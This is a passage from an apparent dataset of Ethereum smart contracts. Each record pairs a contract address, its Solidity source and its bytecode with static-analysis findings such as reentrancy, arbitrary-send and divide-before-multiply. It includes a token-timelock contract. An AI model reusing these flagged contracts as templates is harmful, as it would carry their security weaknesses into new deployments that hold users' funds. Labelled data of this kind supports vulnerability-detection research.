b600080600080600080612c1587613844565b955095509550955095509550612c7387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de98161397e565b612df38483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7587613844565b955095509550955095509550612ed386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130498161397e565b6130538483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d587613844565b95509550955095509550955061313387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325d83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333e8161397e565b6133488483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ca87613844565b95509550955095509550955061342886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135098161397e565b6135138483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f9578260026000600984815481106135d157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b8575081600360006009848154811061365057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d657600a54683635c9adc5dea0000094509450505050613840565b61375f60026000600984815481106136ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ac90919063ffffffff16565b92506137ea600360006009848154811061377557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ac90919063ffffffff16565b915080806001019150506135b2565b50613818683635c9adc5dea00000600a5461282e90919063ffffffff16565b82101561383757600a54683635c9adc5dea00000935093505050613840565b81819350935050505b9091565b60008060008060008060008060006138618a600c54600d54613b5d565b9250925092506000613871612acf565b905060008060006138848e878787613bf3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227f565b905092915050565b600080828401905083811015613974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613988612acf565b9050600061399f82846127a890919063ffffffff16565b90506139f381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1e57613ada83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3882600a546138ac90919063ffffffff16565b600a81905550613b5381600b546138f690919063ffffffff16565b600b819055505050565b600080600080613b896064613b7b888a6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bb36064613ba5888b6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bdc82613bce858c6138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0c85896127a890919063ffffffff16565b90506000613c2386896127a890919063ffffffff16565b90506000613c3a87896127a890919063ffffffff16565b90506000613c6382613c5585876138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201ecc84b29724a1aa5c97c1b757f393e1f3d78f4cee7189cb03d89caf4148a2d964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,575
0xFbB3d2C70c55Fe463A554CEd89b36c148405e58B
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens at predefined intervals. Tokens not claimed at payment epochs accumulate * Modified version of Openzeppelin's TokenTimeLock */ contract Lock is Ownable { using SafeMath for uint; enum period { second, minute, hour, day, week, month, //inaccurate, assumes 30 day month, subject to drift year, quarter,//13 weeks biannual//26 weeks } //The length in seconds for each epoch between payments uint epochLength; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; uint periods; //the size of periodic payments uint paymentSize; uint paymentsRemaining =0; uint startTime =0; uint beneficiaryBalance = 0; function initialize(address tokenAddress, address beneficiary, uint duration,uint durationMultiple,uint p) public onlyOwner{ release(); require(paymentsRemaining == 0, 'cannot initialize during active vesting schedule'); require(duration>0 && p>0, 'epoch parameters must be positive'); _token = IERC20(tokenAddress); _beneficiary = beneficiary; if(duration<=uint(period.biannual)){ if(duration == uint(period.second)){ epochLength = durationMultiple * 1 seconds; }else if(duration == uint(period.minute)){ epochLength = durationMultiple * 1 minutes; } else if(duration == uint(period.hour)){ epochLength = durationMultiple *1 hours; }else if(duration == uint(period.day)){ epochLength = durationMultiple *1 days; } else if(duration == uint(period.week)){ epochLength = durationMultiple *1 weeks; }else if(duration == uint(period.month)){ epochLength = durationMultiple *30 days; }else if(duration == uint(period.year)){ epochLength = durationMultiple *52 weeks; }else if(duration == uint(period.quarter)){ epochLength = durationMultiple *13 weeks; } else if(duration == uint(period.biannual)){ epochLength = 26 weeks; } } else{ epochLength = duration; //custom value } periods = p; emit Initialized(tokenAddress,beneficiary,epochLength,p); } function deposit (uint amount) public { //remember to ERC20.approve require (_token.transferFrom(msg.sender,address(this),amount),'transfer failed'); uint balance = _token.balanceOf(address(this)); if(paymentsRemaining==0) { paymentsRemaining = periods; startTime = block.timestamp; } paymentSize = balance/paymentsRemaining; emit PaymentsUpdatedOnDeposit(paymentSize,startTime,paymentsRemaining); } function getElapsedReward() public view returns (uint,uint,uint){ if(epochLength == 0) return (0, startTime,paymentsRemaining); uint elapsedEpochs = (block.timestamp - startTime)/epochLength; if(elapsedEpochs==0) return (0, startTime,paymentsRemaining); elapsedEpochs = elapsedEpochs>paymentsRemaining?paymentsRemaining:elapsedEpochs; uint newStartTime = block.timestamp; uint newPaymentsRemaining = paymentsRemaining.sub(elapsedEpochs); uint balance =_token.balanceOf(address(this)); uint accumulatedFunds = paymentSize.mul(elapsedEpochs); return (beneficiaryBalance.add(accumulatedFunds>balance?balance:accumulatedFunds),newStartTime,newPaymentsRemaining); } function updateBeneficiaryBalance() private { (beneficiaryBalance,startTime, paymentsRemaining) = getElapsedReward(); } function changeBeneficiary (address beneficiary) public onlyOwner{ require (paymentsRemaining == 0, 'TokenTimelock: cannot change beneficiary while token balance positive'); _beneficiary = beneficiary; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= startTime, "TokenTimelock: current time is before release time"); updateBeneficiaryBalance(); uint amountToSend = beneficiaryBalance; beneficiaryBalance = 0; if(amountToSend>0) require(_token.transfer(_beneficiary,amountToSend),'release funds failed'); emit FundsReleasedToBeneficiary(_beneficiary,amountToSend,block.timestamp); } event PaymentsUpdatedOnDeposit(uint paymentSize,uint startTime, uint paymentsRemaining); event Initialized (address tokenAddress, address beneficiary, uint duration,uint periods); event FundsReleasedToBeneficiary(address beneficiary, uint value, uint timeStamp); }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b1461010c578063b6b55f2514610140578063d13f90b41461016e578063dc070657146101f0578063f2fde38b1461023457610093565b806338af3eed146100985780636041344f146100cc578063715018a6146100f857806386d1a69f14610102575b600080fd5b6100a0610278565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100d46102a2565b60405180848152602001838152602001828152602001935050505060405180910390f35b61010061043f565b005b61010a6105c5565b005b610114610825565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61016c6004803603602081101561015657600080fd5b810190808035906020019092919050505061084e565b005b6101ee600480360360a081101561018457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050610af3565b005b6102326004803603602081101561020657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef9565b005b6102766004803603602081101561024a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611060565b005b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060008060015414156102c457600060075460065492509250925061043a565b60006001546007544203816102d557fe5b04905060008114156102f55760006007546006549350935093505061043a565b60065481116103045780610308565b6006545b9050600042905060006103268360065461126b90919063ffffffff16565b90506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156103b357600080fd5b505afa1580156103c7573d6000803e3d6000fd5b505050506040513d60208110156103dd57600080fd5b810190808051906020019092919050505090506000610407856005546112b590919063ffffffff16565b905061042c828211610419578161041b565b825b60085461133b90919063ffffffff16565b848497509750975050505050505b909192565b6104476113c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600754421015610620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806114b46032913960400191505060405180910390fd5b6106286113cb565b60006008549050600060088190555060008111156107a357600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106f557600080fd5b505af1158015610709573d6000803e3d6000fd5b505050506040513d602081101561071f57600080fd5b81019080805190602001909291905050506107a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f72656c656173652066756e6473206661696c656400000000000000000000000081525060200191505060405180910390fd5b5b7f9bd82e051713c4f9fbc39346b2d6901e1c5250f750bb526781f116d15d46f0f2600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168242604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156108ff57600080fd5b505af1158015610913573d6000803e3d6000fd5b505050506040513d602081101561092957600080fd5b81019080805190602001909291905050506109ac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f7472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a3757600080fd5b505afa158015610a4b573d6000803e3d6000fd5b505050506040513d6020811015610a6157600080fd5b8101908080519060200190929190505050905060006006541415610a9057600454600681905550426007819055505b6006548181610a9b57fe5b046005819055507f809ddd73fba007b10377633695958cc9ab0c34b75ac62ee2926b99a57f4db82960055460075460065460405180848152602001838152602001828152602001935050505060405180910390a15050565b610afb6113c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610bc36105c5565b600060065414610c1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061154e6030913960400191505060405180910390fd5b600083118015610c2e5750600081115b610c83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061152d6021913960400191505060405180910390fd5b84600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600880811115610d1157fe5b8311610e665760006008811115610d2457fe5b831415610d3a5760018202600181905550610e61565b60016008811115610d4757fe5b831415610d5d57603c8202600181905550610e60565b60026008811115610d6a57fe5b831415610d8157610e108202600181905550610e5f565b60036008811115610d8e57fe5b831415610da657620151808202600181905550610e5e565b60046008811115610db357fe5b831415610dcb5762093a808202600181905550610e5d565b60056008811115610dd857fe5b831415610df05762278d008202600181905550610e5c565b60066008811115610dfd57fe5b831415610e16576301dfe2008202600181905550610e5b565b60076008811115610e2357fe5b831415610e3b576277f8808202600181905550610e5a565b600880811115610e4757fe5b831415610e595762eff1006001819055505b5b5b5b5b5b5b5b5b610e6e565b826001819055505b806004819055507f80a4f91a1411c5f4e795a325f8a70cfa7b44e183d7210a793e00a24805663881858560015484604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050505050565b610f016113c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006006541461101c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604581526020018061157e6045913960600191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6110686113c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611128576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806114e66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006112ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f3565b905092915050565b6000808314156112c85760009050611335565b60008284029050828482816112d957fe5b0414611330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061150c6021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156113b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b6113d36102a2565b600860006007600060066000869190505585919050558491905055505050565b60008383111582906114a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561146557808201518184015260208101905061144a565b50505050905090810190601f1680156114925780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206265666f72652072656c656173652074696d654f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7765706f636820706172616d6574657273206d75737420626520706f73697469766563616e6e6f7420696e697469616c697a6520647572696e67206163746976652076657374696e67207363686564756c65546f6b656e54696d656c6f636b3a2063616e6e6f74206368616e67652062656e6566696369617279207768696c6520746f6b656e2062616c616e636520706f736974697665a2646970667358221220af880932a6fb5a7e25bf462d7c585e6ee860475167241515333772e33088fead64736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,576
0x1360bc11e4f62fceb8598d760105fe0d85a38aef
pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract StandardToken is ERC20, BurnableToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); 